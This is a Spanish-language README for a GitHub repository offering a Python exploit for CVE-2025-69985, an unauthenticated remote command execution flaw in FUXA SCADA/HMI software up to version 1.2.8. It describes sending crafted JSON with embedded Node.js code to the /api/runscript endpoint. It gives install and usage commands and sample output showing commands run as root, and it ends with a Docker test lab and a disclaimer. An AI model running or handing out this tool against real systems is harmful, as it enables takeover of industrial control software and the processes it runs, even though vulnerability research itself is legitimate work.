joshuavanderpoll/cve-2025-69985CVE-2025-69985: FUXA ≤1.2.8 Bypass de autenticación + RCE mediante /api/runscript
Este exploit en Python ataca CVE-2025-69985, una vulnerabilidad crítica de omisión de autenticación en FUXA (software SCADA/HMI basado en web) versiones ≤ 1.2.8. Al enviar una carga útil JSON manipulada con código Node.js incrustado al endpoint desprotegido /api/runscript, logra ejecución remota de comandos como el proceso FUXA — capturando stdout/stderr completo de forma síncrona en la respuesta.
[!NOTE] Para garantizar un entorno limpio y aislado para las dependencias del proyecto, se recomienda utilizar el módulo
venvde Python.
git clone https://github.com/joshuavanderpoll/CVE-2025-69985.git
cd CVE-2025-69985
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2025-69985.git
cd CVE-2025-69985
python -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2025-69985.py -u http://localhost:1881/ -c whoami
Target : http://localhost:1881
Command: whoami
[*] Preparing payload → executing: whoami
[*] Sending exploit request to /api/runscript ...
[*] Response status: 200
[+] Command executed successfully (CVE-2025-69985 bypass)!
=== COMMAND OUTPUT ===
"root\n"
======================
======================================================================
Exploit completed!.
======================================================================
cd docker/
docker compose down
docker compose up -d
# You can test at --url http://127.0.0.1:1881/
Esta herramienta se proporciona únicamente con fines educativos y de investigación. El creador no asume ninguna responsabilidad por el mal uso o los daños causados por la herramienta.